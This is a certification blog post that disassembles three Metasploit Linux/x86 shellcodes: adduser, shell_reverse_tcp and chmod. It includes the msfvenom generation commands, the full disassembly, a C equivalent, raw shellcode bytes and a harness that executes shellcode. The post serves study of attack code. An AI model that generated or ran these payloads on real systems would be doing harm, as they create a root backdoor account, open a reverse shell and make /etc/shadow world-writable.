Introduction
This blog series has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
Student ID: SLAE-877
To get the code provided in this exercise:
% git clone https://github.com/droberson/SLAE.git
The code will be within the Assignment-5 directory.
Assignment Outline
This particular assignment is to dissect three shellcodes from msfpayload using using gdb, ndisasm, or libemu and present an analysis of each.
Unfortunately, this course is starting to show its age. Msfpayload is no longer a thing. It has long been replaced by msfvenom. The timing for me arriving at this assignment was beautiful. Kalasdfi Linux 2017.1 was just released, so I downloaded the ISO and made myself a new VM with a fresh copy of Metasploit to obtain my payloads for analysis.
msfvenom
I need to pick three Linux/x86 payloads to analyze. Listing all of the available Linux payloads with msfvenom is easy enough:
root@kali:~# msfvenom -l payloads |grep linux/x86
linux/x86/adduser Create a new user with UID 0
linux/x86/chmod Runs chmod on specified file with specified mode
linux/x86/exec Execute an arbitrary command
linux/x86/meterpreter/bind_ipv6_tcp Inject the meterpreter server payload (staged). Listen for an IPv6 connection (Linux x86)
linux/x86/meterpreter/bind_ipv6_tcp_uuid Inject the meterpreter server payload (staged). Listen for an IPv6 connection with UUID Support (Linux x86)
linux/x86/meterpreter/bind_nonx_tcp Inject the meterpreter server payload (staged). Listen for a connection
linux/x86/meterpreter/bind_tcp Inject the meterpreter server payload (staged). Listen for a connection (Linux x86)
linux/x86/meterpreter/bind_tcp_uuid Inject the meterpreter server payload (staged). Listen for a connection with UUID Support (Linux x86)
linux/x86/meterpreter/find_tag Inject the meterpreter server payload (staged). Use an established connection
linux/x86/meterpreter/reverse_ipv6_tcp Inject the meterpreter server payload (staged). Connect back to attacker over IPv6
linux/x86/meterpreter/reverse_nonx_tcp Inject the meterpreter server payload (staged). Connect back to the attacker
linux/x86/meterpreter/reverse_tcp Inject the meterpreter server payload (staged). Connect back to the attacker
linux/x86/meterpreter/reverse_tcp_uuid Inject the meterpreter server payload (staged). Connect back to the attacker
linux/x86/metsvc_bind_tcp Stub payload for interacting with a Meterpreter Service
linux/x86/metsvc_reverse_tcp Stub payload for interacting with a Meterpreter Service
linux/x86/mettle/bind_ipv6_tcp Inject the mettle server payload (staged). Listen for an IPv6 connection (Linux x86)
linux/x86/mettle/bind_ipv6_tcp_uuid Inject the mettle server payload (staged). Listen for an IPv6 connection with UUID Support (Linux x86)
linux/x86/mettle/bind_nonx_tcp Inject the mettle server payload (staged). Listen for a connection
linux/x86/mettle/bind_tcp Inject the mettle server payload (staged). Listen for a connection (Linux x86)
linux/x86/mettle/bind_tcp_uuid Inject the mettle server payload (staged). Listen for a connection with UUID Support (Linux x86)
linux/x86/mettle/find_tag Inject the mettle server payload (staged). Use an established connection
linux/x86/mettle/reverse_ipv6_tcp Inject the mettle server payload (staged). Connect back to attacker over IPv6
linux/x86/mettle/reverse_nonx_tcp Inject the mettle server payload (staged). Connect back to the attacker
linux/x86/mettle/reverse_tcp Inject the mettle server payload (staged). Connect back to the attacker
linux/x86/mettle/reverse_tcp_uuid Inject the mettle server payload (staged). Connect back to the attacker
linux/x86/mettle_reverse_tcp Run the mettle server payload (stageless)
linux/x86/read_file Read up to 4096 bytes from the local file system and write it back out to the specified file descriptor
linux/x86/shell/bind_ipv6_tcp Spawn a command shell (staged). Listen for an IPv6 connection (Linux x86)
linux/x86/shell/bind_ipv6_tcp_uuid Spawn a command shell (staged). Listen for an IPv6 connection with UUID Support (Linux x86)
linux/x86/shell/bind_nonx_tcp Spawn a command shell (staged). Listen for a connection
linux/x86/shell/bind_tcp Spawn a command shell (staged). Listen for a connection (Linux x86)
linux/x86/shell/bind_tcp_uuid Spawn a command shell (staged). Listen for a connection with UUID Support (Linux x86)
linux/x86/shell/find_tag Spawn a command shell (staged). Use an established connection
linux/x86/shell/reverse_ipv6_tcp Spawn a command shell (staged). Connect back to attacker over IPv6
linux/x86/shell/reverse_nonx_tcp Spawn a command shell (staged). Connect back to the attacker
linux/x86/shell/reverse_tcp Spawn a command shell (staged). Connect back to the attacker
linux/x86/shell/reverse_tcp_uuid Spawn a command shell (staged). Connect back to the attacker
linux/x86/shell_bind_ipv6_tcp Listen for a connection over IPv6 and spawn a command shell
linux/x86/shell_bind_tcp Listen for a connection and spawn a command shell
linux/x86/shell_bind_tcp_random_port Listen for a connection in a random port and spawn a command shell. Use nmap to discover the open port: 'nmap -sS target -p-'.
linux/x86/shell_find_port Spawn a shell on an established connection
linux/x86/shell_find_tag Spawn a shell on an established connection (proxy/nat safe)
linux/x86/shell_reverse_tcp Connect back to attacker and spawn a command shell
This gives 43 shellcodes to choose from, however many of them are add on modules to staged payloads.
To output the desired shellcode, here’s the msfvenom syntax I used:
msfvenom -a x86 --platform linux -p linux/x86/PAYLOAD_HERE > outfile
adduser using ndisasm
First, I got a copy of the adduser shellcode in raw format using msfvenom:
root@kali:~# msfvenom -a x86 --platform linux -p linux/x86/adduser > adduser
No encoder or badchars specified, outputting raw payload
Payload size: 97 bytes
ndisasm comes with the nasm assembler and is about as easy as it gets:
% ndisasm -b 32 adduser
00000000 31C9 xor ecx,ecx
00000002 89CB mov ebx,ecx
00000004 6A46 push byte +0x46
00000006 58 pop eax
00000007 CD80 int 0x80
00000009 6A05 push byte +0x5
0000000B 58 pop eax
0000000C 31C9 xor ecx,ecx
0000000E 51 push ecx
0000000F 6873737764 push dword 0x64777373
00000014 682F2F7061 push dword 0x61702f2f
00000019 682F657463 push dword 0x6374652f
0000001E 89E3 mov ebx,esp
00000020 41 inc ecx
00000021 B504 mov ch,0x4
00000023 CD80 int 0x80
00000025 93 xchg eax,ebx
00000026 E828000000 call dword 0x53
0000002B 6D insd
0000002C 657461 gs jz 0x90
0000002F 7370 jnc 0xa1
00000031 6C insb
00000032 6F outsd
00000033 69743A417A2F6449 imul esi,[edx+edi+0x41],dword 0x49642f7a
0000003B 736A jnc 0xa7
0000003D 3470 xor al,0x70
0000003F 3449 xor al,0x49
00000041 52 push edx
00000042 633A arpl [edx],di
00000044 303A xor [edx],bh
00000046 303A xor [edx],bh
00000048 3A2F cmp ch,[edi]
0000004A 3A2F cmp ch,[edi]
0000004C 62696E bound ebp,[ecx+0x6e]
0000004F 2F das
00000050 7368 jnc 0xba
00000052 0A598B or bl,[ecx-0x75]
00000055 51 push ecx
00000056 FC cld
00000057 6A04 push byte +0x4
00000059 58 pop eax
0000005A CD80 int 0x80
0000005C 6A01 push byte +0x1
0000005E 58 pop eax
0000005F CD80 int 0x80
This introduced a few instructions I was not familiar with, but I am able to see fairly quickly that it does in fact add a user named “metasploit” to /etc/passwd with UID=0.
% strings adduser
Qhsswdh//pah/etc
metasploit:Az/dIsj4p4IRc:0:0::/:/bin/sh
The default password is hashed, but looking at the available options for this payload, it appears to be “metasploit” as well:
root@kali:~# msfvenom -a x86 --platform linux -p linux/x86/adduser --payload-options
Options for payload/linux/x86/adduser:
Name: Linux Add User
Module: payload/linux/x86/adduser
Platform: Linux
Arch: x86
Needs Admin: Yes
Total size: 97
Rank: Normal
Provided by:
skape
vlad902
spoonm
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
PASS metasploit yes The password for this user
SHELL /bin/sh no The shell for this user
USER metasploit yes The username to create
Description:
Create a new user with UID 0
**OMITTED ADVANCED OPTIONS OUTPUT**
Now that I have the assembler output, I can start making more sense of this shellcode. Since I know the calling conventions used for Linux/x86, I can reference a system call chart, the manual pages, and decipher what is going on.
My goal is to end up with a C source code file that is functionally equivalent to what this code is intending to do as well as a heavily commented version of this shellcode that explains what is going on step by step. Fortunately, this was pretty straightforward after a few minutes of looking at the disassembler’s output:
00000000 31C9 xor ecx,ecx ; zero out ecx
00000002 89CB mov ebx,ecx ; zero out ebx
00000004 6A46 push byte +0x46 ; 0x46 = 70 = setreuid()
00000006 58 pop eax ; eax = 70
00000007 CD80 int 0x80 ; setreuid (0, 0);
00000009 6A05 push byte +0x5 ; 5 = open()
0000000B 58 pop eax ; set eax to 5
0000000C 31C9 xor ecx,ecx ; zero out ecx
0000000E 51 push ecx ; NULL terminate string
0000000F 6873737764 push dword 0x64777373 ; "dwss"
00000014 682F2F7061 push dword 0x61702f2f ; "ap//"
00000019 682F657463 push dword 0x6374652f ; "cte/"
0000001E 89E3 mov ebx,esp ; pointer to "/etc//passwd"
00000020 41 inc ecx ; 0x0001 - O_WRONLY
00000021 B504 mov ch,0x4 ; 0x0401 - O_NOCTTY
00000023 CD80 int 0x80 ; open ("/etc//passwd", O_WRONLY | O_NOCTTY);
00000025 93 xchg eax,ebx ; save fd created by open() in ebx
00000026 E828000000 call dword 0x53 ; go to TAG down below, 0x53
;; 6d 65 74 61 73 70 6c 6f 69 74 3a 41 7a 2f 64 49 73 6a 34 70 34 49 52 63 3a 30 3a 30 3a 3a 2f 3a 2f 62 69 6e 2f 73 68
;; m e t a s p l o i t : A z / d I s j 4 p 4 I R c : 0 : 0 : : / : / b i n / s h
0000002B 6D insd ; m
0000002C 657461 gs jz 0x90 ; e t a
0000002F 7370 jnc 0xa1 ; s p
00000031 6C insb ; l
00000032 6F outsd ; o
00000033 69743A417A2F6449 imul esi,[edx+edi+0x41],dword 0x49642f7a ; i t : z / d I
0000003B 736A jnc 0xa7 ; s j
0000003D 3470 xor al,0x70 ; 4 p
0000003F 3449 xor al,0x49 ; 4 I
00000041 52 push edx ; R
00000042 633A arpl [edx],di ; c :
00000044 303A xor [edx],bh ; 0 :
00000046 303A xor [edx],bh ; 0 :
00000048 3A2F cmp ch,[edi] ; : /
0000004A 3A2F cmp ch,[edi] ; : /
0000004C 62696E bound ebp,[ecx+0x6e] ; b i n
0000004F 2F das ; /
00000050 7368 jnc 0xba ; s h
00000052 0A598B or bl,[ecx-0x75] ; 0x0a = newline
;; TAG ^^
;; % perl -e 'print "\x59"' | ndisasm -b32 -
;; 00000000 59 pop ecx ; address of string @ 0x2b
;; % perl -e 'print "\x8b\x51\xfc"' | ndisasm -b32 -
;; 00000000 8B51FC mov edx,[ecx-0x4] ; ecx(0x2b) - 4 = 0x27 == 0x28 == 40 == length of string
00000057 6A04 push byte +0x4 ; set eax to 4
00000059 58 pop eax ; 4 = write()
0000005A CD80 int 0x80 ; write (fd, "metasploit:Az/dIsj4p4IRc:0:0::/:/bin/sh\n", 40);
0000005C 6A01 push byte +0x1 ; set eax to 1
0000005E 58 pop eax ; 1 = exit()
0000005F CD80 int 0x80 ; exit(fd)
This shellcode is basically the same thing as the following C code:
#include #include #include #include int main() { int fd; setreuid (0, 0); fd = open ("/etc//passwd", O_WRONLY | O_NOCTTY); write (fd, "metasploit:Az/dIsj4p4IRc:0:0::/:/bin/sh\n", 40); exit (fd); }
shell_reverse_tcp using libemu
First, I generated the shellcode:
root@kali:~# msfvenom -a x86 --platform linux -p linux/x86/shell_reverse_tcp LHOST=127.0.0.1 >shell_reverse_tcp
No encoder or badchars specified, outputting raw payload
Payload size: 68 bytes
Now that I have a copy of the payload handy, I run it through libemu’s sctest program. There wasn’t a manual page on Kali Linux for this, so I read through the options with sctest –help:
root@kali:~# sctest --help
-a PATH use this argos csi files as input
--argos-csi= PATH
-b IP:PORT bind this ip:port
--bind=IP:PORT
-c IP:PORT redirect connects to this ip:port
--connect=IP:PORT
-C CMD command to execute for "cmd" in shellcode (default: cmd="/bin/sh -c \"cd ~/.wine/drive_c/; wine 'c:\windows\system32\cmd_orig.exe' \"")
--cmd= CMD
-d INTEGER dump the shellcode (binary) to stdout
--dump=INTEGER
-g run getpc mode, try to detect a shellcode
--getpc
-G FILEPATH save a dot formatted callgraph in filepath
--graph=FILEPATH
-h show this help
--help
-i proxy api calls to the host operating system
--interactive
-l list all tests
--listtests
-o [INT|HEX] manual offset for shellcode, accepts int and hexvalues
--offset=[INT|HEX]
-p PATH write shellcode profile to this file
--profile= PATH
-S read shellcode/buffer from stdin, works with -g
--stdin
-s INTEGER max number of steps to run
--steps=INTEGER
-t INTEGER the test to run
--testnumber=INTEGER
-v be verbose, can be used multiple times, f.e. -vv
--verbose
I see that this is able to produce dot graphs for further processing with graphviz. Neat. I run the following command to disassemble the shellcode and produce the dot file necessary to produce a nice call graph:
root@kali:~# cat shell_reverse_tcp | sctest -vv -S -s 1000 -G shell_reverse_tcp.dot
graph file shell_reverse_tcp.dot
verbose = 2
[emu 0x0x55833b12e510 debug ] cpu state eip=0x00417000
[emu 0x0x55833b12e510 debug ] eax=0x00000000 ecx=0x00000000 edx=0x00000000 ebx=0x00000000
[emu 0x0x55833b12e510 debug ] esp=0x00416fce ebp=0x00000000 esi=0x00000000 edi=0x00000000
[emu 0x0x55833b12e510 debug ] Flags:
[emu 0x0x55833b12e510 debug ] 31DB xor ebx,ebx
[emu 0x0x55833b12e510 debug ] F7E3 mul ebx
[emu 0x0x55833b12e510 debug ] 53 push ebx
[emu 0x0x55833b12e510 debug ] 43 inc ebx
[emu 0x0x55833b12e510 debug ] 53 push ebx
[emu 0x0x55833b12e510 debug ] 6A02 push byte 0x2
[emu 0x0x55833b12e510 debug ] 89E1 mov ecx,esp
[emu 0x0x55833b12e510 debug ] B066 mov al,0x66
[emu 0x0x55833b12e510 debug ] CD80 int 0x80
int socket(int domain=2, int type=1, int protocol=0);
[emu 0x0x55833b12e510 debug ] 93 xchg eax,ebx
[emu 0x0x55833b12e510 debug ] 59 pop ecx
[emu 0x0x55833b12e510 debug ] B03F mov al,0x3f
[emu 0x0x55833b12e510 debug ] CD80 int 0x80
int dup2(int oldfd=14, int newfd=2);
[emu 0x0x55833b12e510 debug ] 49 dec ecx
[emu 0x0x55833b12e510 debug ] 79F9 jns 0xfffffffb
[emu 0x0x55833b12e510 debug ] B03F mov al,0x3f
[emu 0x0x55833b12e510 debug ] CD80 int 0x80
int dup2(int oldfd=14, int newfd=1);
[emu 0x0x55833b12e510 debug ] 49 dec ecx
[emu 0x0x55833b12e510 debug ] 79F9 jns 0xfffffffb
[emu 0x0x55833b12e510 debug ] B03F mov al,0x3f
[emu 0x0x55833b12e510 debug ] CD80 int 0x80
int dup2(int oldfd=14, int newfd=0);
[emu 0x0x55833b12e510 debug ] 49 dec ecx
[emu 0x0x55833b12e510 debug ] 79F9 jns 0xfffffffb
[emu 0x0x55833b12e510 debug ] 687F000001 push dword 0x100007f
[emu 0x0x55833b12e510 debug ] 680200115C push dword 0x5c110002
[emu 0x0x55833b12e510 debug ] 89E1 mov ecx,esp
[emu 0x0x55833b12e510 debug ] B066 mov al,0x66
[emu 0x0x55833b12e510 debug ] 50 push eax
[emu 0x0x55833b12e510 debug ] 51 push ecx
[emu 0x0x55833b12e510 debug ] 53 push ebx
[emu 0x0x55833b12e510 debug ] B303 mov bl,0x3
[emu 0x0x55833b12e510 debug ] 89E1 mov ecx,esp
[emu 0x0x55833b12e510 debug ] CD80 int 0x80
connect
[emu 0x0x55833b12e510 debug ] 52 push edx
[emu 0x0x55833b12e510 debug ] 686E2F7368 push dword 0x68732f6e
[emu 0x0x55833b12e510 debug ] 682F2F6269 push dword 0x69622f2f
[emu 0x0x55833b12e510 debug ] 89E3 mov ebx,esp
[emu 0x0x55833b12e510 debug ] 52 push edx
[emu 0x0x55833b12e510 debug ] 53 push ebx
[emu 0x0x55833b12e510 debug ] 89E1 mov ecx,esp
[emu 0x0x55833b12e510 debug ] B00B mov al,0xb
[emu 0x0x55833b12e510 debug ] CD80 int 0x80
execve
int execve (const char *dateiname=00416fa6={//bin/sh}, const char * argv[], const char *envp[]);
[emu 0x0x55833b12e510 debug ] 0000 add [eax],al
cpu error error accessing 0x00000004 not mapped
stepcount 42
copying vertexes
optimizing graph
vertex 0x55833b1ba9b0
going forwards from 0x55833b1ba9b0
-> vertex 0x55833b1beb40
-> vertex 0x55833b1bed50
-> vertex 0x55833b1bef60
-> vertex 0x55833b1bf170
-> vertex 0x55833b1bf380
-> vertex 0x55833b1bf600
-> vertex 0x55833b1bf820
copying edges for 0x55833b1bf820
-> 0x55833b1c97a0
vertex 0x55833b1bfa40
going forwards from 0x55833b1bfa40
copying edges for 0x55833b1bfa40
-> 0x55833b1c9930
vertex 0x55833b1bffc0
going forwards from 0x55833b1bffc0
-> vertex 0x55833b1c00e0
copying edges for 0x55833b1c00e0
-> 0x55833b1c9ca0
vertex 0x55833b1c0290
going forwards from 0x55833b1c0290
copying edges for 0x55833b1c0290
-> 0x55833b1c9e60
vertex 0x55833b1c0510
going forwards from 0x55833b1c0510
copying edges for 0x55833b1c0510
-> 0x55833b1c9ff0
vertex 0x55833b1c0a10
going forwards from 0x55833b1c0a10
copying edges for 0x55833b1c0a10
-> 0x55833b1ca1a0
vertex 0x55833b1c06c0
going forwards from 0x55833b1c06c0
copying edges for 0x55833b1c06c0
-> 0x55833b1c9ca0
-> 0x55833b1ca360
vertex 0x55833b1c12c0
going forwards from 0x55833b1c12c0
-> vertex 0x55833b1c0e30
-> vertex 0x55833b1c1590
-> vertex 0x55833b1c1820
-> vertex 0x55833b1c1a40
-> vertex 0x55833b1c1bf0
-> vertex 0x55833b1c1e00
-> vertex 0x55833b1c2010
-> vertex 0x55833b1c2220
copying edges for 0x55833b1c2220
-> 0x55833b1cb2e0
vertex 0x55833b1c24a0
going forwards from 0x55833b1c24a0
copying edges for 0x55833b1c24a0
-> 0x55833b1cb470
vertex 0x55833b1c2da0
going forwards from 0x55833b1c2da0
-> vertex 0x55833b1c2650
-> vertex 0x55833b1c3060
-> vertex 0x55833b1c3280
-> vertex 0x55833b1c3510
-> vertex 0x55833b1c36c0
-> vertex 0x55833b1c38d0
-> vertex 0x55833b1c3b50
copying edges for 0x55833b1c3b50
-> 0x55833b1cc230
vertex 0x55833b1c3d00
going forwards from 0x55833b1c3d00
copying edges for 0x55833b1c3d00
vertex 0x55833b1c4690
going forwards from 0x55833b1c4690
copying edges for 0x55833b1c4690
[emu 0x0x55833b12e510 debug ] cpu state eip=0x00417046
[emu 0x0x55833b12e510 debug ] eax=0x0000000b ecx=0x00416f9e edx=0x00000000 ebx=0x00416fa6
[emu 0x0x55833b12e510 debug ] esp=0x00416f9e ebp=0x00000000 esi=0x00000000 edi=0x00000000
[emu 0x0x55833b12e510 debug ] Flags: PF SF
int socket (
int domain = 2;
int type = 1;
int protocol = 0;
) = 14;
int dup2 (
int oldfd = 14;
int newfd = 2;
) = 2;
int dup2 (
int oldfd = 14;
int newfd = 1;
) = 1;
int dup2 (
int oldfd = 14;
int newfd = 0;
) = 0;
int connect (
int sockfd = 14;
struct sockaddr_in * serv_addr = 0x00416fbe =>
struct = {
short sin_family = 2;
unsigned short sin_port = 23569 (port=4444);
struct in_addr sin_addr = {
unsigned long s_addr = 16777343 (host=127.0.0.1);
};
char sin_zero = " ";
};
int addrlen = 102;
) = 0;
int execve (
const char * dateiname = 0x00416fa6 =>
= "//bin/sh";
const char * argv[] = [
= 0x00416f9e =>
= 0x00416fa6 =>
= "//bin/sh";
= 0x00000000 =>
none;
];
const char * envp[] = 0x00000000 =>
none;
) = 0;
This prints out some pseudo code that essentially shows what it is doing in human readable format. Above this, it shows the assembler dump. Adding one more -v flag shows the state of the CPU at each register and was too long to paste here, but looks like it could be very handy for debugging.
Finally, I generate the call graph using graphviz’s dot utility:
root@kali:~# dot -T png shell_reverse_tcp.dot -o shell_reverse_tcp.png
This produced a nice graph to follow the flow of the program visually:
Overall, I am impressed with libemu. I am glad that I finally got some exposure into this set of tools and look forward to using it in the future.
Analyzing chmod Shellcode Using GDB
Last, I chose the chmod shellcode, which simply chmods a file to whatever permissions are specified. The defaults are chmod 666 /etc/shadow, and I just ran with the defaults:
root@kali:~# msfvenom -a x86 --platform linux -p linux/x86/chmod >chmod
No encoder or badchars specified, outputting raw payload
Payload size: 36 bytes
I will be using GDB to analyze this shellcode. Since this shellcode is in raw form, I will use test.c compiled with the -g flag to make this easier for me:
% make
gcc -g -m32 -fno-stack-protector -z execstack -o test test.c
Now, I fire up GDB and use test to open “chmod”
% gdb
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.04) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
.
Find the GDB manual and other documentation resources online at:
.
For help, type "help".
Type "apropos word" to search for commands related to "word".
(gdb) file test
Reading symbols from test...done.
(gdb) set args chmod
Next, I want to set a breakpoint at run(), so I can have the shellcode in memory and be able to analyze it:
(gdb) list
8 #include
9 #include
10 #include
11 #include
12 #include
13
14 int main (int argc, char *argv[]) {
15 int i;
16 int fd;
17 int len;
(gdb)
18 unsigned char *shellcode;
19 struct stat s;
20
21
22 if (!argv[1]) {
23 fprintf (stderr, "usage: %s \n", argv[0]);
24 exit (EXIT_FAILURE);
25 }
26
27 printf ("Testing shellcode contained in %s\n\n", argv[1]);
(gdb)
28
29 if (stat(argv[1], &s) == -1) {
30 perror("stat");
31 exit (EXIT_FAILURE);
32 }
33
34 fd = open (argv[1], O_RDONLY);
35 if (fd == -1) {
36 perror ("open");
37 exit (EXIT_FAILURE);
(gdb)
38 }
39
40 shellcode = malloc (s.st_size);
41
42 if (read (fd, shellcode, s.st_size) != s.st_size) {
43 fprintf (stderr, "Unable to read %ld bytes from %s\n", s.st_size, argv[1]);
44 exit (EXIT_FAILURE);
45 }
46
47 close (fd);
(gdb)
48
49 for (i = 0; i < s.st_size; i++) {
50 if (shellcode[i] == 0x00) {
51 printf ("SHELLCODE CONTAINS NULL BYTES!\n\n");
52 break;
53 }
54 }
55
56 /* display shellcode in C format */
57 printf ("char shellcode[] = \"");
(gdb)
58
59 for (i = 0; i < s.st_size; i++) {
60 if ((i % 10 == 0) && (i != 0)) {
61 printf ("\"\n");
62 printf (" \"");
63 }
64
65 printf ("\\x%.2x", shellcode[i]);
66 }
67
(gdb)
68 printf ("\";\n\n");
69
70 printf ("Length: %ld\n\n", s.st_size);
71
72 printf ("Executing shellcode..\n");
73 int (*run) () = (int(*)())shellcode;
74 run ();
75 }
(gdb) break 74
Breakpoint 1 at 0x8048813: file test.c, line 74.
Next, I run the program within GDB and let it hit the breakpoint:
(gdb) r
Starting program: /home/daniel/SLAE/Assignment-5/test chmod
Testing shellcode contained in chmod
SHELLCODE CONTAINS NULL BYTES!
char shellcode[] = "\x99\x6a\x0f\x58\x52\xe8\x0c\x00\x00\x00"
"\x2f\x65\x74\x63\x2f\x73\x68\x61\x64\x6f"
"\x77\x00\x5b\x68\xb6\x01\x00\x00\x59\xcd"
"\x80\x6a\x01\x58\xcd\x80";
Length: 36
Executing shellcode..
Breakpoint 1, main (argc=2, argv=0xffffcc34) at test.c:74
74 run ();
(gdb)
The shellcode should accessible in eax now:
(gdb) x/19i $eax
0x804b410: cdq
0x804b411: push 0xf
0x804b413: pop eax
0x804b414: push edx
0x804b415: call 0x804b426
0x804b41a: das
0x804b41b: gs je 0x804b481
0x804b41e: das
0x804b41f: jae 0x804b489
0x804b421: popa
0x804b422: outs dx,DWORD PTR fs:[esi]
0x804b424: ja 0x804b426
0x804b426: pop ebx
0x804b427: push 0x1b6
0x804b42c: pop ecx
0x804b42d: int 0x80
0x804b42f: push 0x1
0x804b431: pop eax
0x804b432: int 0x80
Looks like the shellcode to me! It is important to note that GDB disassembled the string “/etc/shadow” as opcodes, so the lines labeled 0x804b41a through 0x804b424 contain the string:
(gdb) x/s 0x804b41a
0x804b41a: "/etc/shadow"
Looking at this closer, eax gets set to 0x0f, which is 15, which it turns out is the syscall number for chmod(). Next, the “/etc/shadow” string gets placed into ebx at the line labeled 0x804b426. Finally, at lines 0x804b427 – 0x804b42c, the value 0x1b6 gets placed into ecx. 0x1b6 is the representation of 666 in octal. This all makes sense considering what the shellcode’s purpose is. At line 0x804b42d, chmod(“/etc/shadow”, 0x1b6) is called, setting the permissions to world writable.
The last three lines, 0x804b42f – 0x804b432 call exit() to end the program cleanly.
Pingback: SLAE #4: Encoding Shellcode for Linux/x86 – DMFROBERSON